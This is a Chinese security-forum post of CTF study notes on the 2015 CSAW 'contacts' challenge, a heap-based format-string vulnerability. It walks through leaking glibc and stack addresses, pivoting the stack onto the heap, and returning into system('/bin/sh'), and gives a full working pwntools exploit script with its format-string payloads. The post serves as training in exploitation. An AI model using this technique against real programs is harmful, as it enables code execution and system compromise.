首页
社区
课程
招聘
[原创]PWN学习笔记【格式化字符串漏洞练习】【堆上的格式化字符串漏洞】【2015-CSAW-contacts】
2022-6-14 10:30 10084

[原创]PWN学习笔记【格式化字符串漏洞练习】【堆上的格式化字符串漏洞】【2015-CSAW-contacts】

2022-6-14 10:30
10084

https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-example/#_22


程序是一个通讯录功能,提供了创建、修改、删除、打印联系人的选项

其中打印联系人有格式化字符串漏洞


解题思路:

无法控制栈?那就把栈转移到可控的内存上吧^ ^

当前函数的栈底指向的是上一个函数的栈底,所以这个应该是唯一可控的地方了


gdb调试,输入name=name,phone=phone,description=desc

在漏洞点printf上打断点

看到参数2存放的是‘puts+11’,可以用来泄露glibc

参数6存放的是栈底,可以修改上个函数的栈底


exp三步走:

  1. 泄露glibc,计算system和“/bin/sh”的地址

  2. 构造新栈,并且泄露新栈的地址

  3. 移动栈到新栈上,使函数返回,ret到system("/bin/sh")

from pwn import *
from LibcSearcher import LibcSearcher
 
# context.log_level = 'debug'

sh = process("./contacts")#gdb.debug("./contacts", "b *0x080487C7\nc")

def choiceMenu(id):
    sh.recvuntil(b">>>")
        
    sh.sendline(str(id).encode())

def CreateContact(name, phone, description):
    choiceMenu(1)
    sh.recvuntil(b"Name:")
    sh.sendline(name)

    sh.recvuntil(b"Phone No:")
    sh.sendline(phone)

    sh.recvuntil(b"Length of description:")
    sh.sendline(str(len(description) + 1).encode())

    sh.recvuntil(b"Enter description:")
    sh.sendline(description)

def EditContact_name(name, new_name):
    choiceMenu(3)
    sh.recvuntil(b"Name to change?")
    sh.sendline(name)
    sh.recvuntil(b">>>")
    sh.sendline(b"1")
    sh.recvuntil(b"New name: ")
    sh.send(new_name)

def EditContact_description(name, new_description):
    choiceMenu(3)
    sh.recvuntil(b"Name to change?")
    sh.sendline(name)
    sh.recvuntil(b">>>")
    sh.sendline(b"2")
    sh.recvuntil(b"Length of description:")
    sh.sendline(str(len(new_description) + 1).encode())
    sh.recvuntil(b"Description:")
    sh.sendline(new_description)

def DisplayContacts():
    choiceMenu(4)

def ExitContacts():
    choiceMenu(5)

payload = flat([
    b'%2$p----%6$p'
    ])

CreateContact(b"name111", b"Phone111", payload)
DisplayContacts()
sh.recvuntil(b"	Description:")
addrs = sh.recvline()
addrs = addrs.split(b"----")

puts_addr = int(addrs[0], 16) - 11
debug("puts_addr = 0x%x" %puts_addr)
stack_addr = int(addrs[1], 16)
debug("stack_addr = 0x%x" %stack_addr)

libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')


payload = flat([
    b'%11$p---',
    p32(libcbase + libc.dump('system')),
    p32(0xabcddcba),
    p32(libcbase + libc.dump('str_bin_sh'))
    ])
CreateContact(b"name222", b"Phone222", payload)
DisplayContacts()
sh.recvuntil(b"	Description:")
sh.recvuntil(b"	Description:")

addrs = sh.recvline()
addrs = addrs.split(b"---")
heap_stack_addr = int(addrs[0], 16) + 4
debug("heap_stack_addr = 0x%x" %heap_stack_addr)

payload = flat([
    b'%',
    str(heap_stack_addr).encode(),
    b"c%6$n1",
    ])
CreateContact(b"name333", b"Phone333", payload)
DisplayContacts()


ExitContacts()

sh.interactive()



记录一下遇到的坑:

  1. 本来想用Contacts.name作为新栈,发现name紧挨着代码段,system函数抬一下栈就到代码段了,然后就崩溃了

  2. 通过edit Contacts来防止重复执行payload,但是读取name的长度是上一次description的长度,如下图,不知道是bug还是有意为之



[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回